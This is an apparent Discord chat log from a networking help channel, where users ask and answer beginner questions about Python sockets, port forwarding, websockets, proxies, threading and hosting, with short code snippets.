i have a pin in this channel on exactly that
Ooh sorry I am new here
no worries, do you know how to find the pins?
Yes I know how to use discord
Just new to the server
Hello I know this has nothing to do with Python but I need help with port forwarding(The port stays closed for some reason even I make a new rule on my router)
Did the pins not help?
it may be limited by your ISP
ISP has nothing to do with port forwarding?
ISP can do anything with your upstream network
(The port stays closed for some reason even I make a new rule on my router)
It seems to be an issue on the router though?
yeah its a router thing, definitely shouldn't be an ISP thing
hi, i don't know which part of this server is good for my question, but i need to write a bot which check is by entering for some subpage it will redirect for another
i have no idea how to do that
Me and my friend are working on a messaging app. We currently store the data with SQL but are having trouble with designing the network architecture. Storing all the data works, but one issue of many we have is how a client will know when they get a new message? Obviously just querying the SQL server every second is too inefficient, so whats the best way to do this? We are having trouble with deciding/switching between threading, async, and select from the networking part of the code.
were not super familiar with networking stuff
Sounds like a good case for pub/sub architecture
AFAIK iOS Push Notification APIs are basically HTTP POSTs, for example if you are talking about a client's phone receiving a new message
can you explain how we would implement that a little more. I'm not familiar with what your talking about
So, you're storing some message data in a relational database. At that same time you want to let other clients know the message has been received. This implies a possible implementation using HTTP POST. here's a good pic of that for Apple Push Notifications
If you have Many services that require a similar architecture, (Apple Push Notification is a single service,) then pubsub is where I'd look next
which basically mutates the "notification"
you Publish a notification, and all services which are Subscribed will receive the notification
(mulitplexor thingy)
In that diagram "Pub/Sub Server" is something like Apache Kafka or Redis, or custom etc
Hello, i am new to networking and API topics. I am trying to connect to the FTX exchange api or any similar exchange. Can anyone help?
import time
import hmac
from requests import Request
ts = int(time.time() * 1000)
request = Request('GET', '<endpoint>')
prepared = request.prepare()
signature_payload = f'{ts}{prepared.method}{prepared.path_url}'.encode()
signature = hmac.new('SECRET_KEY'.encode(), signature_payload, 'sha256').hexdigest()
request.headers['FTX-KEY'] = 'KEY'
request.headers['FTX-SIGN'] = signature
request.headers['FTX-TS'] = str(ts)
i dont know how to write the endpoint, if it is with the https or not. Here is the documentation'
FTX Cryptocurrency Derivatives Exchange API documentation. We offer REST, WebSocket, and FIX APIs to connect your algorithmic trading systems.
Your base URL is here:
and the path for an endpoint is here:
So <endpoint> could be https://ftx.com/api/subaccounts/bwackwat/balances
lol tcp reveals
maybe there is a different socket library which tries to be more secure, but afaik it's TCp
anyone has any good resources where i can learn python for anything network automation? Do hit me up in DM
i assume you have a socket recv permanently, so when you get a message, just create a notification or play a sound, no need to query the SQLDatabase
how can i log a network cache with python requests?
Hey! I'm working in an API for manage an OLT (Optical Line Terminal) for my company.
It uses telnet protocol to send/receive commands and data. Could someone give a feedback about
my code, Django Rest structure and telnet classes that i'm using?
https://github.com/giacomoquinalia/olt-management
Thanks!
Good day manager, I am Mary Ann valeรฑa,Looking for Scholarship.I can grind 150-200slp per day.
this wold be such a blessing for my family,i dont have work now. and i am a soloparent of 2kids.thank you and gobless po
Hey so i got a post on stack overflow, if anybody could help me solve this issue
Hey I'm trying to set up a secure websocket server
however whenever I try and secure it i get errors [it works if I don't have SSL enabled, assuming i change wss to ws in the worker]
atm the client says ssl.SSLError: [SSL] called a function you should not call (_ssl.c:1129)
Heres the code:
Server: ```py
import websockets, asyncio, ssl
async def hello(websocket, path):
name = await websocket.recv()
print(f"< {name}")
greeting = f"Hello {name}!"
await websocket.send(greeting)
print(f"> {greeting}")
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain('origin.pem', 'private.pem')
start_server = websockets.serve(hello, "0.0.0.0", 87, ssl = ssl_context)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
Client: ```py
import asyncio
import pathlib
import ssl
import websockets
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain('origin.pem', 'private.pem')
async def hello():
uri = "wss://socket.ganer.xyz/gsdgsdfg"
async with websockets.connect(uri, ssl = ssl_context) as websocket:
name = input("What's your name? ")
await websocket.send(name)
print(f"> {name}")
greeting = await websocket.recv()
print(f"< {greeting}")
asyncio.get_event_loop().run_until_complete(hello())```
heres the cloudflare worker: https://ganer.xyz/s/yQKyhz
heres the certs [these work for my main website] https://ganer.xyz/s/iqmjim
Anyone wanna help make a python3 Chatroom?
How to use python import?
I saw "import sys" while writing the program
What does it mean?'
hi guys !
I have a question on how to make a Google OAuth Client ID and then download it as a .json, and it should look like this:
https://cdn.discordapp.com/attachments/696350939535376404/851929723881127966/unknown.png
Nobody was able to help me in help channels...
it means "I need to use this package in this .py file"
what exactly is the issue?
No chance you guys know a thing or two about requests aye?
I dont know how to get the .json file like this
are you looking for this? https://developers.google.com/identity/sign-in/web/sign-in
is this a configuration file which needed by framework that you are using?
I think you can fill the fields by the value you can get from Credentials Page like this said
wdym dowload it? pretty sure you have to make it yourself
besides, google has been nice enough to create some modules that do that for you
https://paste.pythondiscord.com/iyarikegam.py - server.py
https://paste.pythondiscord.com/aqekuwitot.rb - client.py
I created a chat of an unlimited number of people using threads and sockets.
In server.py I created 2 lists the first one contains the names the customers chose for themselves and the second one contains the customer details like port and the rest.
Later, I created several functions, the first of which is called broadcast receives a message and sends it in a chat with the name of the person who sent it.
The second one named CaesarEncrypt encrypts the message (it is unrelated).
The third named HandleClient requests a message from the client and sends it to broadcast, if the message is not received it deletes the client's details from the 2 lists and closes the client.
The fourth named recive receives the client for the first time and adds its details to the lists and of course prints a message that a new client has connected to the server.
In client.py I did all the construction of the chat using Tkinter and it works fine as usual.
Now what I want to do is create a chat manager that will work like everyone else on the server but when he enters the command /admin 5270 for example then it will buy him manager capabilities and he will be able to take people out when he writes /kick and the client name next and it will close that chat And will be registered in the chat "The client (name) has been removed from the server".
check out https://youtu.be/F_JDA96AdEI, i think its exactly what your looking for
thank u so much!
HI
Currently I use Avast VPN to route all my trafic inside the VPN
I would like to disable Avast
I am looking for to encapsulated just my app HTTP requests into Free VPN as hidemyass or other
Do you have advice about python libary and provider to implement easily this feature
It is for very small need
thx
my advise is dont use a free vpn

if you're just wanting to send http requests without having the ip be exposed to a given server, buy a proxy
and just use the proxy support most python HTTP libs give
Thx ! I believe requests libary have parameters to specify proxy
Do you know good free proxy which can be use by script without have lot of stuff around the real answer of the request ?
Simpler to just buy a small proxy some provider gives
Free Proxies are any of the following:
- Stolen Servers
- Dodgy servers
- Data scrapers
- Dont support HTTPS
- Very slow / Un-reliable
you're right
But by curiosity, I will continue to looking for in VPN direction ๐
Is there any library supports doesn't needing socket recv and send waiting and using them without stopping the code block
I mean I tried UDP but the thing I want is I don't want to wait recv message I want to use top-level socket just like this:
import blablabla as c
c.server(host)
c.connect()
while True:
player_data = c.get("player_data)
c.send("test")
c.close()
and anytime send message(not in socket connection code block)
That makes no sense. But, maybe you want asyncio?
What does DHCP cycling mean? If your IP changes, for sure. If not, maybe. What are you really trying to do?
nope...
May I ask why it is wrong.
How to modify?
Everyone, save me, I still couldnโt do it for a long time yesterday.
There is no information when I check it online.
Try change import re to from k import re
import re means import Python builtin regex module.
anyone here who worked with traffic generators?
Is it possible to have an API that gets data through a POST request and also is a websocket / socket server that can send the data in the POST request to the clients connected
Hi, I am trying to read all of the data from a socket, my code:
sock.setblocking(False)
data_left = True
while data_left:
data = sock.recv(MAX_PACK_SIZE)
if data:
print(data)
else:
data_left = False
But for some reason I get this error:
BlockingIOError: [WinError 10035] A non-blocking socket operation could not be completed immediately
How can I do it without getting this error?
Hey there everyone!
I want to try and make a event based socket chat app, For example,
If I'm making a server, I would have a base class, inherit from it, and do following
class Server(BaseServer):
def on_run():
... # This gets run when server is starting to run
def on_start():
... # This gets run when it's connected and the things when server starting to run is completed.
I'm not sure How can I implement such events, Any tutorial links, or help regarding this is appreciated. I'm trying to make a Secure and Intuitive chat app. Do help, Thank you.
I want to have event dispatch and Collect system basically, If possible, I would rather have such structure too
server = Server()
@server.event
def on_run():
...
Your baseserver should handle all the logic. Most likely keep a thread which constantly keeps listening for data. Then you can store a dictionary inside that class which maps each event to a function, then call that function if there is any, once the event is received. You can use decorators to assign events, for example, or have empty methods which does nothing, but then overriden by the derived classes. About the on_start methods and such, those are things you can manually call before you start receiving.
If you don't want to make this from scratch you can also look into existing pub/sub systems.
Yes, this is achieveable. It depends on your architecture though, but a queue is something you should look into. If you're dealing with asynchronous code then the asyncio.Queue is something which is worth looking at.
In the websocket code you basically listen to that queue, and the post endpoint appends to that queue. That's at least one way to do this
Hi in anyone an expert at socket?
I am trying to connect to a different computer
they are on the same wifi
and it says I cannot connect
I made sure I put the same port and ip
i am just wondering the ip is local host
does that matter and or change anything?
give the full error
I am not really good at this, Still learning. Can you guide me on how it can be done, if using a decorator approach, because it might be cleaner
@blazing elbow share code or the error, not so easy to hit or miss telling you what might be going wrong
{"timestamp":1623485161160,"status":400,"error":"Bad Request","message":"JSON parse error: Unrecognized token 'mobile': was expecting ('true', 'false' or 'null'); nested exception is com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'mobile': was expecting ('true', 'false' or 'null')\n at [Source: (PushbackInputStream); line: 1, column: 8]","path":"/campaign/vouchers/kAxAeMsjtmjCe4aoep/redeem"}
Is there any way to get the data from Network tab under Inspect Element using python script?
Sorry I was not awake at that time. Lol thatโs 2 am for me
does anyone know a sample IP and port to test some sockets with or some site that can provide me with one
use localhost with any port above 10k lol
If your connecting to a different machine on your network then you need to put in the IP of that machine. Check out this channels pins for the basic example
when it says "blocked", does it mean that it didnt even download the picture or did it download it but didnt display it?
It means the request content was never read or used
browsers wont do anything with a request of another origin if the CORS check did not success
alot of this time this involves a pre-flight check
so in all likely hood it never even sent the actual request and aborted once the check failed
Ok so it says 0 kb
how familiar are you with sockets and threading?
Pretty good, I am not too familiar with the event management and the handlers
In your BaseServer you can store the reference to a function in some datatype. What's the most appropriate in this case is probably a dictionary, where the key is the event and the value is the callable. Upon the receivement of an event, lookup the dictionary for the key, value, if there is any then call the value.
What your decorator does is to basically add the event and function to the dictionary.
Ahh. I'm new to this, so how can I register event and function in dictionary
You wanted to go with a decorator approach? In which case you need to have some method in your BaseServer which registers this event. As simple as
def event (self, event: str, callback):
self._events[event] = callback
This can be renamed to registerEvent, register, or whatever u prefer. To turn this into a decorator, you should read this article
https://realpython.com/primer-on-python-decorators/
Yes.
Thank you!
And How do I detect when is the server is starting, so I can call on_run and once started, on_startup
This is what I'm having doubts with too.
How do you start the server, do you have some run() or start() method?
Oh, yes. https://github.com/janaSunrise/ZeroCOM/blob/bacffc1ed89a2e8aee6c89dd6691c706a5920cc3/app/models/server.py#L53-L79 This is how it goes.
I really need to organize everything and make a new structure ๐
In your else statement somewhere (after the exception handling), you can then lookup self._events to and check if the on_startup event is registered, and call the function. You should probably create a function for doing this as you would probably to this many places.
Yes, I would. I need to re-organize and break functions into smaller parts and make it clean and reusable. Then I'll integrate the events. My idea was basically just like Flask app, but for Chat app instead.
server = Server(__name__, ...) # Other parameters too.
@server.register # Or probably a global function, Or a mixin and inherit it in the base model class.
def on_startup():
...
server.run((IP, PORT), debug=True)
Yeah, that's achievable. I think if you learn how to implement decorators, making this should be a lot easier
Yup. I basically want to clean up the mess and make it a function based approach to keep it clean.
Because having everything in a sequence is hard.
Also any chance you know how this can be achieved?
# Like Socket.IO
sock = Server(__name__)
@sock.handler("message")
def handle_message(message, sender, receiver):
# Handle the message, and send it forth
@sock.handler("motd")
def handle_motd(motd, clients):
# pass the motd to all clients connected
Like, handler get's a parameter name of what is being sent, It can be anything that user defined
message - default
motd - my own
RSA keys - my own
and also pass in parameters like flask does to help sending, receiving and such?
I have doubt with basically,
1. Default parameter from handler and event
2. How I can distinguish between things like message, MOTD and perform the work needed with them, basically define the callback going to happen
For example, MOTD needs to be sent everywhere
Message too, Warning to the specific client who emitted that
Sorry for being annoying, Trying to learn ๐
It's all good, this is a good way to learn.
Can there be multiple handlers? In which case the dictionary value cant be a single function, but a list of functions, if that makes sense. Also what is the difference between the handler and the event?
yeah I get it, so here's the difference, Just like a discord bot has events and commands,
Events - Handle what happens when it starts, stops, runs, and custom events and such
Handler - Handle when message it passed, or MOTD and out job is to process what happens and being sent to others or what we wanna do with it and so on
yeah, right. So internally you would need to distinguish between an event and handler by keeping two separate structures (dictionaries), which does as I mentioned earlier, maps an event to a list of functions. The process of mapping each event to function can be done through decorators, in which you should read the article I mentioned earlier so you can learn how to implement decorators, and eventually add an event.
You would most likely also have some method _raise_event _raise_handler, or something, which gets the event/handler and then calls all functions (added underscore to declare its not public, just a convention)
Ahh, yeah.
hi, im learning python right now on codecademy and im almost halfway done. I want to get into making "hacking" tools when im done with python. Would you guys recommend and good courses on networking with python?
What requirements do I need to know before learning socket programming
I've used freecodecamp videos for a lot of my learning (working on C++ rn). Here's a video they made on networking: https://youtu.be/FGdiSJakIS4
Learn network programming in Python by building four projects. You will learn to build a mailing client, a DDOS script, a port scanner, and a TCP Chat Room.
๐ฅ This course was developed by Neural Nine. Check out their YouTube channel: https://www.youtube.com/c/NeuralNine
โญ๏ธ Course Contents โญ๏ธ
โจ๏ธ (00:00) Intro
โจ๏ธ (00:37) Mailing Client
โจ๏ธ (13:41...
guys can someone tell whats penertration testing ?
like does it test how strong our firewall is or...?
penetration testing is a dense subject. a penetration test may try to prove or disprove that a certain security vulnerability exists in a system.
Dense IMHO, because of the breadth and depth of possible tests.
It's quite difficult to fully test any system
oh okay got it thanks :)
we can train an ai to look over it can we do that ?
It's a good idea
But there are going to be many complex feature sets
Highly recommend looking into existing tools.
me just beginner
Also, what kind of model might you use for an AI? Code base?
i didnt start networking
Yeah, please do some research and check out existing tools
hmm...have to check it out
both pen testing and machine learning are non trivial if beginner
haha will combine when i become good
so we use python or linux ?
like idk if we can do penetration with python
Heh. you can
Really, this topic is so vast a programming language of any kind is one of many tools you may use
Try to focus your interest ๐ that will be easier
lol oki me gonna watch some videos about networking and get a good grip on it thanks for ur help :)
Not specifically python related but is there a go-to book/guide/resources to learn networking in depth anyone would recommend
"total": 88, "scans": {"CMC Threat Intelligence": {"detected": false, "result": "clean site"}
``` how to fetch details from this kind of json, i wanna fetch result only from scans list. i know how to fetch `total = r['total']` but having trouble fetching scans data.
Python and Linux aren't the same thing ergo it's not a case of one or the other
Python is a programming language whereas Linux is an operating system
You can use python with Linux
Sure thanks a lot :)
Ah yeah yeah I get the point now xd but any references ?
Where would you ask network related questions? I have a problem with RDP and the error message is "data encryption issue" or something similar. Keeps disconnecting me ๐
I'm out of ideas on this one.
So where do we use networking
a lot of places
How to speed my network up through windows setting
Hi guys, i'm helping to launch a new proxy server for a company. We have 8 subnets, 250 IPs for each subnet, all attached to our server.
We're following this guide to add new external IPs to the server: https://www.atlantic.net/community/howto/add-additional-public-ip-windows-server-2012/
Just wondering if there are any CMD or Powershell commands we can use to add a single IP, then I can just use python to automate the rest.
alr so im having trouble binding to a public ip
can you share your code
ok
def Host():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sck:
sck.connect((str(public_ipv4), 4194))
your gonna have to share more then that
like your server script
also if your running this yourself you probably need to set up port forwarding
is that all?
hang on, your doing str(public_ipv4) indicating its not a string beforehand?
what object would it be>?
lemme check
but it returns the ip
as a string
that may be an error and not nessecary
can you share your entire script ๐
i dont know if its because you copied it wrong but your missing a matching ' on the end of your URL, this code shouldnt even run lmao
definitely copied wrong
try printing the public ip to see if its what you expect
yes: it returns a string and it returns the proper ip address
right, can you show me your server script
this is the server script
someone who use selenium know how to use the webdriver with cookies?
i'm trying to do
options.add_argument("user-data-dir=.../AppData/Roaming/Opera Software/Opera Stable")
to use my opera webdriver with my cookies, this open the browser but the driver.get dont works, when i remove the add_argument the driver.get back to normal
Wait hang on, in your server script you should have a bind not a connect
is there something i need to learn before networking or what
im not sure where im suppose to even use networking and how im suppose to use it for cyber sec
all it really looks like is just a internet connection
Well it's how anything that connects to anything else works
Like if you want to attack an app which downloads information from a website, or you want to look at iot devices communicating
Hello Everybody !!!
I'm so happy, because TODAY, FINALLY i fixed UrsinaNetworking ! https://github.com/kstzl/UrsinaNetworking
And you can now download it with pip install ursinanetworking
You can make amazing multiplayers game, chat and more ! Have fun ๐
@narrow oak Sorry for the ping, but is it possible instead to do,
class Event:
def __init__(self, name, func):
self.name = name
self.func = func
And use it in some kind of list? I'm really excited to learn Decorators and advanced python stuff and make the flask like event system and work on it
okay quick easy doubt cause I'm new to networking,
If I have two computers A and B on different networks, and if I create client/server sockets, I would need a public IP and a port right? So I can get the public IP of the server socket but how can I get the port at which I wanna send a connection request.
also I'm assuming the IP and port needed would be of the server/listener socket right.
theres 2 ways:
- its agreed on beforehand by computers A and B
- both of them talk to computer C on a specific agreed on port to figure out their own ports
I see, thanks! And what if I wanna find a port related to the public IP of the server-socket-computer
what do you mean?
I'm assuming ports are predefined for a computer ?
like the ports belonging to an IP
as in I can't enter any number as the port I wanna connect to
kinda, the public ip has 2^16-1 ports available (altho we dont use the first 1023) which you can connect to
and then each computer on the network with their private ips have there own ports of that range
ohh I see, so I can select any number say - 4200 as my port to connect to and it'll work
yes if your server script and client script both use that port
and if youve port forwarded on the different network
yes of course
yes that too
yeah so if you use the same port it will work
so that's all I need for communication between 2 computers at geographically different locations?
no "setting up" anything anywhere? I apologize I'm quite new to the field
no worries, i had these questions as well lol
yeah as long as you have port forwarding done it should work
and port forwarding would only be on the server socket side I assume?
yeah only on the server socket side right?
ok great
I'm planning to implement this using winsock, should be possible right?
winsock?
winsock.h a sockets library used by windows for c/cpp
I've already done this client/server tcp connection using localhost and it works so I'm assuming it'll work
altho ive only used python raw sockets so i cant help with any C/C++ specific questions
yeah if it works with localhost then it should work elsewhere
yeah actually this server is quite active, so I thought asking this doubt would be better here even though I'm not actually using python ๐
thank you so much, cleared a lot of my doubts!
thanks !
Yeah, you can store each event as an object if you prefer that, and go for an oop approach instead
Ahh, Nice. But how would I find the event to use? Just like if it was a dict instead, I would do events.get()
if you're storing it in a list then you need to find it through a loop, something as simple as this will do the job:
event = [event for event in events if event.name == 'some_event'] (event will now be a list, this allows for storing multiple events of same type, you can return the first index if you prefer to only allow one event of each kind)
Ah. Thanks! ๐
ok so I basically made a requests script which functions and does not miss any numbers sent to the url, but once I turned it into threads, I print out the number sent every thread, and some repeat and some don't get printed. How do I fix this?
slowing the rate down fixes it, but is there any other way to fix it?
most likely rate limitation by the server side, bypassing this would most likely break their terms of service as its basically a spam. Threading can also be tricky, and you might have not written it properly if for some reason the numbers repeat
start_time_threads = time.time()
for i in range(2):
t = threading.Thread(target=do_request)
t.daemon = True
threads.append(t)
for i in range(10):
threads[i].start()
for i in range(10):
threads[i].join()
do_request() just sends data to the server
and gets the output
im 99% sure that all of it functions
right now you are only appending 2 thread objects but attempting to start a total of 10 threads, which should raise an IndexError
yh i fixed that
should i put the numbers in a list of 10s then check if every number is present if not then sycle thru the missing numbers and if there are duplicates then delete them before I check if there are less then 10 nums in the 10s value
bc i dont feel like I should do that
for thread in threads:
thread.start()
``` do it like this instead of using range
hi there guys! I'm still on learning phase of python, Can anyone help me understand webscraping and also how to do it? probably in a beginner friendly way?
you can use BeautifulSoup. they have really nice docs
might be a dumb q but: I am learning terraform and aws, i am fiddling around making a new vpc, subnets, gateways, security groups for my redshift vpc. I eventually want to access redshift via my terminal, what should i be editing ? the security group ingress/egress?
ingress {
from_port = 5439
to_port = 5439
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}``` is my only rule at the moment
like do i need to add an extra ingress rule to account for me eventually accessing redshift via my terminal?
What does redis do?
ok so protocols are a set of rules that a device has to follow in order to interact with other users?
:incoming_envelope: :ok_hand: applied mute to @light zealot until 2021-06-16 07:11 (9 minutes and 59 seconds) (reason: newlines rule: sent 16 consecutive newlines in 10s).
๐
How to send packet on proxy
Thanks, do you know where can I can find Dedicated tutorials and support for BeautifulSoup module?
YouTube
what did you do ๐
discovered a little trick(||blank message||) so tested it out here ๐
I'm writing a routing protocol, Bellman-Ford algorithm, and I'm having trouble setting up a data type router that effectively publishes its distance table to other routers. I wasn't sure where to ask this because it's just a general programming question but for a networking subject.
Could someone help me talk/work through some of the issues I'm having with this assignment?
Anyone here in the Austin, TX area?
https://www.google.com/maps/place/Austin,+TX
Any good tutorials for P2P ?
Any more context? Programming for it, using it, finding sources? Defining it?
Check out webrtc
Hello
ayo guys is there any way to bypass isp?
why pyshark is not working
pyshark is broken, F
found something useful someone might use https://tryhackme.com/room/introtonetworking
hey poeple
is ther a good way to continue learning about netoworking past the basics a school give u?
make projects
Hey guys
nodes = {
"MAIN": {
"host": "127.0.0.1",
"port": 2333,
"rest_uri": "http://127.0.0.1:2333",
"password": "youshallnotpass",
"identifier": "MAIN",
"region": "europe",
}
}``` my code
your lavalink node is not available on localhost on port 23333
How do the firewall proxies in say... schools work?
Those that block certain cites or redirect you to their own page
Like, you connect to the network, try to access a website and what happens then?
all requests go to proxy server
proxy server chooses what to let through and what to block out
In the UK this generally operates on a Local and more district scale
so schools have their own proxy server running that does their own filtering
then those requests go the county proxy servers which apply the county filters
need some help with this python project can anyone help me?? this is my criteria The user will be able to monitor the ping of all devices such as printers, routers, switches, firewall, servers, and virtual machines. Every IP address and device name will be stored inside the database at the back end of the website. Every device assigned to an IP address will be pinged continuously to the monitoring system. In situations where a device goes unavailable or offline and the user is not present at their office, the monitoring system will send a notification to the IT technician through the mobile application notifying them about the device which went offline.
Below are the core functions of the system which will be achieved before delivering.
โข Allow IT technician to see the ping of each device.
โข Allow IT technician to add new devices to the monitoring system.
โข Allow IT technician to add, modify and delete devices on the database.
โข Allow IT technician user to access devices remotely.
โข Allow IT technician to be notified via application when a device goes offline.
Message #general
how can I make this?
so what do i do
So I have the following task:
I have multiple VMs. Each VM is running a python script that takes constant screenshots of the VM's desktop, and translates it into an image object that OpenCV can use and stores it in memory. I want to send these opencv image objects to a script running on the host machine that is running the VMs to do object detection(using yolov4-tiny, loaded by OpenCV in python) and then send back the results to the appropriate VM/script.
My main concerns before any actual testing:
The data needs to be passed back and forth between client/server as fast as possible as I need to find the detections in "real time".
In a longer term goal, the host script would be listening for data sent from multiple VMs running at the same time so I'm worried about how queueing the object detection might work on the host to make sure the VM scripts get back the data they need in time.
After some quick google searching, it looks like using sockets is the most commonly offered solution. I also saw the idea of using redis for performance gains. I haven't done any networking in python though so I'm looking for whatever suggestions might work best for my use. Thanks ๐
any advantage of using a cable over the wireless connection
umm, yeah, sockets are really fast, and even faster when using localhost than an actual network. you should consider looking into threading since it's really useful when working with sockets. for example, in the client script running on the vm, you can start a thread which just takes a screenshot, converts it to a opencv image object, and sends that data to the host socket, and another thread in the same script which will only receive the detected data from the host vm. that way, you can set up a pipeline of sorts which is basically another way of queuing
Hi everyone , does anyone know how to retrieve worklist from the server using pynetdicom module?
its generally more stable, faster and its not affected by physical barriers such as walls
yeah, but I bought a 2m cable
its geometrically ridiculous because I have to stay close to the door
curiosity
no i meant what are you plugging into it?
to the router
from the router to a computer?
yeah
if i cable isnt feasible then you could try, ethernet through the mains or a tp link adapter or range extender which you can use with ethernet
but bellow the router have a lot of cables and stuff
thats what im doing
i will buy a longer cable today
a ridiculous lenght
im using "wireless ethernet" to get round the cable length problem
i have two boxes, one of them i plug into the router which wireless connects to the other box which ethernets out into my computer
i dont have a wifi card so i need a wired connection
this solves it
whats the point
i dont get it, if is not schematic
yes, why
are you there?
i get it know
that's what I did
sorry, had to go
yeah so that connects to my router wirelessly but allows for a wired connection at better speeds
and what about the cable system below my router
i can connect and disconnect and somehow things changes?
all people internet came from one cable
I am using streaming in requests to upload rather big files (https://docs.python-requests.org/en/master/user/advanced/#streaming-uploads)
Even though it should stream the file in chunks, it gives me a memory error.
any idea why that is happening?
You're most likely loading the whole file into memory before streaming it, hard to tell without any code
I am using the exact same example as the website. Hence I linked it.
anyone know anything about docker?
why cables of tv is way more robust than the lan cable
yes ,sockets are very good option for this type of real time data transfer.
[WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
Trying to make a connection between my VM & local machine.
Recieving this error though.
import socket, threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print(f"[*] Listening on {bind_ip}: {bind_port}")
def handle_client(client_socket):
response = client_socket.recv(1024)
print(f"[*] Recieved: {response}")
client_socket.send("ACK!")
client_socket.close()
while True:
client, addr = server.accept()
print(f"[*] Accepted connection from: {addr[0]}: {addr[1]}")
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
i have this code, the server keeps listening but no output
i know its a client connection problem
how do i overcome this?
does anyone know how to use concurrent.futures
nope
@prisma jungle Do you know anything about this?
maybe your internet isnt good
or the connection timed out
Am i able to send the code...
I'm trying to use socket to make a chat app sort of thing. I have the code recv = recvfrom(1024). The value recv[0] is always what it should be, the data that was sent in binary. But recv[1], which should be a tuple with the IP and port of the client that sent the data, is instead (0, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'). I don't know if it's because I'm connecting to the socket on the same PC the server's on, but I don't know how to fix this. The messed up port is breaking my program. I've searched all over Google, but to no avail.
This line of code is giving me a error saying the type is not subscriptable
conn.send(bytes[1])
bytes is a function in python; recommendation is rename your variable ๐
i want to send commands over to my raspberry pi 4 in which i have a discord bot such as restarting it or editing the code or idk from my main pc, whats the best way to approach this?
im almost a complete newbie to networking
yes i have
is that the one with google as the target ip?
Guys Is there way to keep my socket chat servet alive?
import socket, threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print(f"[*] Listening on {bind_ip}: {bind_port}")
def handle_client(client_socket):
response = client_socket.recv(1024).decode('UTF-8')
print(f"[*] Recieved: {response}")
client_socket.send(bytes('ACK', 'UTF-8'))
client_socket.close()
while True:
client, addr = server.accept()
print(f"[*] Accepted connection from: {addr[0]}: {addr[1]}")
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()โ
that wasnt the problem but nice
what do you mean?
The socket server keep alive forever
just stick a while True: in there
If i offline?
you mean if you computer is off?
Yes
you would need a hosting site
(someone to host it for you)
there are several you can get for free
Can give any host site?
Heroku
AWS (amazon)
amazon is free until a specific time span (1 year ig) and heroku's free access is just more extensive compared to amazon, they charge you based on the amount of traffic, so until it's limited amount of traffic, it's free
after which they both start charging
how it's possible to have so many sites redirected
how do I even check my SO integrity
before type anything
use ad blocker
what that's mean?
i get it now
its about third parties and not about a specific problem
As i know Amazon Is not free
there's a free tier where you can get a micro ec2 instance runnign an os of your choice, but only for a year
I'm just get one a couple of moths ago to do some crazy stuff from hosting socket servers lol
How?
@prisma cobalt we neet u here boi
oh no ๐ it took over an hour last time to set up the aws account lmao
i will tho
do you have an available credit card?
you wont need to pay but you need to enter details
No
then AWS isnt for you ๐ฅด
~~glad i asked beforehand instead of going through the setup process to encounter that @trim moth ~~ lmao
ye lmao ๐
saved a lot of time
yeah lmao
Hiya i have done a post in #help-pancakes im working on making a simple tcp chat server wondering if any networking genius would be free to help me thanks ๐
@daring elm some relevant reading for you: https://docs.python.org/3/library/socketserver.html
thanks i have had a good read but still kinda stuck with the exercise im on
what part
those are the requirements im able to send data but dealing with the json is where i am stuck
thats the requests being sent
JSON is usually easy peasy, what part of "dealing with it" is the problem?
im currently writing an event handler that the server will call to deal with the data thats being sent but sending it back is the part im kinda lost at
would u be free to hop into a help channel dont want to take over this room
sure, we can hop
@static inlet #help-kiwi
Hi !
I want to make a messager using only python.
I want to do it online, si i need a server. And there is the problem
I want to use a replit server, to be able to use it online. But, as i Saw, to use replit, i need to use Flask server.
But, i dont like Flask, i prefer use only sockets, but i think that ports are closed. Does someones know how to open ports, or just how to bind sockets online, with python sockets on replit.
Dm me for more infos.
Thanks a lot !!
Although I have never scripted this on my own, I did see a template on replit that is a messaging template and i think it uses sockets, here is the link:
oh wait thats node.js
not python
my bad.
you can probably just use the ports that flask uses, should not be much difference in creating a flask application or opening a socket connection
there is a massive diffrence between the two
flask is a HTTP framework, when you do app.run you're running the debug mode development web server
if you just open a socket connection it just opens a raw TCP connection
HTTP servers abstract away alot of low level handling you have to do
e.g. socket readiness, flow control, request / response cycles etc...
yeah of course, but im talking in context. Flask internally opens a socket connection eventually, in order to be able to accept incoming connections. Which means that it should also be possible to open a socket connection if its possible to create a flask application, in replit
Well, there is the problem. As i tryed, replit just dont accept opening ports by sockets. I just think that there is an "agreement" between replit and flask :
As i understood, replit open port only when using flask server. And that bad ๐
what ports have you tried?
Well, i did with random ports, 5050, 8080...
I didnt tryed 80 if it is what u think
But with flask, u can bind and witch port u want no ?
hey guys! any tips for beginners like me?
what module I need to test a door, socket is enough?
def threadSender():
print("[Info] Thread Sender started!")
while True:
for data in threadSends:
threadSends.remove(data)
soc.sendto(bytes(data,'utf-8'), (config["SERVER_IP"],config["SERVER_PORT"]))
#print("[Info] Sent Packet!",len(data))
time.sleep(.05)
Hey Everyone, I'm working on a sort of proof of concept thing that needs a server that can handle lots of requests which I have but the client code isn't actually fast enough to max out the server I've been working on this all day so my brain is kinda numb I know i want to just run the function threadSender on a few threads but for some reason I'm at a loss of what to do for the list because the function removes things i dont want them all send the same exact data to the server if someone could provide a suggestion that would be awsome
ehem......... any recommendation guys?
For networking? Which aspect, sockets? Websockets? Hosting? Lol networking is such a broad topic
To test if a port is open on an ip ?
Easy x))
target=str(input("IP : "))
port = int(input("PORT : "))
s = socket(AF_INET, SOCK_STREAM)
try:
s.connect((target, port))
except:
print("Not open")
else:
print("Open")```
Use ipinfo api
Hi I want to Geo-Locate IP traffic using a python script. Any one having any experience?
